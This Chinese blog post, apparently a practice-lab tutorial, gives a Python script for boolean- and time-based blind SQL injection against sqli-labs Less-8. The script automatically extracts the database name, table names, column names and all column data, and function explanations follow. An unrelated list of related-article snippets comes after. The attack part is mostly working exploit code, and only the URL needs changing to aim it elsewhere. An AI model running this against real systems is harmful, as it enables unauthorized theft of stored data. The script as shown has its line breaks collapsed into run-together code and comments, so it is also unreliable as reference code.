时间盲注和boolen盲注中获取表,列以及具体数据的函数

embedded/2025/2/14 5:35:59/
import requests
import time# 创建会话对象,用于保持与目标服务器的会话状态,便于多次请求
session = requests.session()
# 目标URL,是存在SQL注入漏洞的页面地址
url = "http://127.0.0.1/sqlilabs/Less-8/index.php"# 通过布尔盲注获取当前使用的数据库名称
def getDatabase(url):results = []# 循环获取数据库名称的前7个字符for i in range(1, 8):# 二分查找ASCII码范围low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造SQL注入参数,判断数据库名称第i个字符的ASCII码是否小于等于midpayload = {'id': f"1' and ord(substr(database(),{i},1))<={mid}--"}ret = session.get(url=url, params=payload)if 'You are in' in ret.text:high = mid - 1if low == mid:# 找到字符,添加到结果列表results.append(chr(mid))print(''.join(results))breakelse:low = mid + 1return ''.join(results)# 通过时间盲注获取查询结果
def timeBasedBlindInjection(url, query):result = ""# 循环获取结果的前100个字符for i in range(1, 100):low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造时间盲注参数,若字符ASCII码小于等于mid则让服务器休眠2秒payload = {'id': f"1' and if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)--"}start = time.time()ret = session.get(url=url, params=payload)elapsed_time = time.time() - startif elapsed_time >= 2:high = mid - 1if low == mid:# 找到字符,添加到结果字符串result += chr(mid)print(result)breakelse:low = mid + 1return result# 通过布尔盲注获取查询结果
def booleanBasedBlindInjection(url, query):result = ""# 循环获取结果的前100个字符for i in range(1, 100):low, high = 32, 127while low <= high:mid = (low + high) // 2# 构造布尔盲注参数,判断结果第i个字符的ASCII码是否小于等于midpayload = {'id': f"1' and ascii(substr(({query}),{i},1))<={mid}--"}ret = session.get(url=url, params=payload)if 'You are in' in ret.text:high = mid - 1if low == mid:# 找到字符,添加到结果字符串result += chr(mid)print(result)breakelse:low = mid + 1return result# 获取指定数据库中的所有表名
def getTable(url, database_name):# 构造SQL查询语句,从系统表中获取表名query = f"select group_concat(table_name) from information_schema.tables where table_schema = '{database_name}'"return booleanBasedBlindInjection(url, query)# 获取指定数据库和表中的所有列名
def getColumn(url, database_name, table_name):# 构造SQL查询语句,从系统表中获取列名query = f"select group_concat(column_name) from information_schema.columns where table_schema = '{database_name}' and table_name = '{table_name}'"return booleanBasedBlindInjection(url, query)# 获取指定数据库、表和列中的数据
def getResult(url, database_name, table_name, column_name):# 构造SQL查询语句,获取表中指定列的数据query = f"select group_concat({column_name}) from {database_name}.{table_name}"return booleanBasedBlindInjection(url, query)# 记录程序开始时间
start = time.time()
# 获取数据库名称
database_name = getDatabase(url)
print(f"Database Name: {database_name}")# 获取数据库中的所有表名
tables = getTable(url, database_name)
print(f"Tables in {database_name}: {tables}")if tables:table_list = tables.split(',')for table in table_list:# 获取表中的所有列名columns = getColumn(url, database_name, table)print(f"Columns in {table}: {columns}")if columns:column_list = columns.split(',')for column in column_list:# 获取列中的数据data = getResult(url, database_name, table, column)print(f"Data in {table}.{column}: {data}")# 打印程序运行总耗时
print(f'time spend: {time.time() - start}')

getDatabase 函数

功能:获取目标数据库的名称。

实现逻辑

  • 该函数通常用于SQL注入攻击中,目的是获取当前连接的数据库名称。

  • 通过执行特定的SQL查询(如 SELECT DATABASE())来获取数据库名称。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据库名称。

示例

SELECT DATABASE();

imeBasedBlindInjection 函数

功能:执行基于时间的盲注攻击。

实现逻辑

  • 基于时间的盲注攻击是通过观察数据库响应时间来判断注入是否成功。

  • 该函数会构造特定的SQL查询,利用数据库的延时函数(如 SLEEP())来判断某个条件是否为真。

  • 例如,如果条件为真,数据库会延迟响应,否则立即返回。

示例

SELECT IF(1=1, SLEEP(5), 0);

booleanBasedBlindInjection 函数

功能:执行基于布尔的盲注攻击。

实现逻辑

  • 基于布尔的盲注攻击是通过观察数据库返回的不同响应(如真或假)来判断注入是否成功。

  • 该函数会构造特定的SQL查询,利用条件语句(如 IF)来判断某个条件是否为真。

  • 例如,如果条件为真,返回正常页面;否则返回错误页面或空页面。

示例

SELECT IF(1=1, 'true', 'false');

getTable 函数

功能:获取数据库中的表名。

实现逻辑

  • 该函数用于获取目标数据库中的表名。

  • 通过查询数据库的系统表(如 information_schema.tables)来获取表名。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测表名。

示例

SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

getColumn 函数

功能:获取指定表中的列名。

实现逻辑

  • 该函数用于获取指定表中的列名。

  • 通过查询数据库的系统表(如 information_schema.columns)来获取列名。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测列名。

示例

SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name';

getResult 函数

功能:获取指定表中的数据。

实现逻辑

  • 该函数用于从指定表中提取数据。

  • 通过构造SQL查询语句(如 SELECT)来获取表中的数据。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据内容。

示例

SELECT column_name FROM table_name WHERE condition;

总结

这些函数通常用于SQL注入攻击中,目的是从目标数据库中提取信息。getDatabase 用于获取数据库名称,imeBasedBlindInjection 和 booleanBasedBlindInjection 分别用于基于时间和布尔的盲注攻击,getTable 和 getColumn 用于获取表名和列名,getResult 用于获取表中的数据。这些函数的实现逻辑都依赖于构造特定的SQL查询,并通过观察数据库的响应来推断出所需的信息。


http://www.ppmy.cn/embedded/162066.html

相关文章

pycharm ai插件

PyCharm中的AI插件为开发者提供了强大的智能辅助功能,这些插件能够显著提升编码效率、优化代码质量,并提供实时的编程建议和帮助。以下是一些主要的PyCharm AI插件及其功能介绍: 一、CodeMoss(ChatGPT Free) 简介:CodeMoss是一款集成在PyCharm内的顶级AI插件,全称“Cha…

蓝桥杯之并查集

算法思想 并查集是一种树形的数据结构&#xff0c;主要用于解决一些元素分组问题。用于处理一些不相交集合的合并以及查询问题。并查集的思想是用一个数组表示了整片森林&#xff0c;树的根节点唯一标识了一个集合&#xff0c;我们只要找到了某个元素的树根&#xff0c;就能确…

解码DeepSeek家族系列:大语言模型赛道上的黑马传奇

1. DeepSeek公司概况 1.1 成立背景与发展历程 DeepSeek&#xff0c;全称杭州深度求索人工智能基础技术研究有限公司&#xff0c;于2023年7月17日正式成立。公司由知名量化资管巨头幻方量化孕育而生&#xff0c;其创始人梁文峰是幻方量化的联合创始人之一。DeepSeek自成立之初…

抖音火山方舟使用Chatbox接入DeepSeek-R1满血版671B

抖音火山方舟使用Chatbox接入DeepSeek-R1满血版671B 抖音火山方舟 1.1 注册登录 1.2 实名认证 1.3 创建推理模型 点击添加模型 1.4 创建API密钥 1.5 客户端工具 OllamaChatboxCherry StudioAnythingLLM 资源包下载&#xff1a; AI聊天本地客户端 接入Chatbox客户端 点…

基于单片机的并联均流电源设计(论文+源码)

2.1 系统的功能及方案设计 两个电源&#xff0c;实现电流均衡效果。 在对系统进行功能设计过程中&#xff0c;主要框图如图2.1所示&#xff0c;系统的控制核心主要是由AT89S52单片机来进行控制&#xff0c;主要的核心控制模块由AT89S52单片机,两路由LM22673构成的DC/DC降压电路…

github与git bash绑定问题

当输入$ ssh -T gitgithub.com 时&#xff0c; 返回ssh: connect to host github.com port 22: Connection refused&#xff0c; 解决方法&#xff1a; 使用 HTTPS 代替 SSH 如果你无法通过 SSH 连接&#xff0c;你可以改用 HTTPS 克隆仓库&#xff0c;而不是 SSH。 使用 git…

从零开始学习人工智能

从零开始学习人工智能可以按照以下步骤进行&#xff1a; 一、了解人工智能的基本概念 学习内容&#xff1a;了解人工智能的定义、发展历程、主要研究方向&#xff08;如机器学习、深度学习、自然语言处理、计算机视觉等&#xff09;、常见应用&#xff08;如语音识别、图像识别…

算法练习——哈希表

一&#xff1a;两数之和 题目要求&#xff1a; 解题思路&#xff1a; 常规思路(暴力方法)&#xff1a;定义两个指针遍历&#xff0c;满足条件时&#xff0c;返回下标。 优化版本:如下图 实现代码&#xff1a; class Solution { public:vector<int> twoSum(vector<in…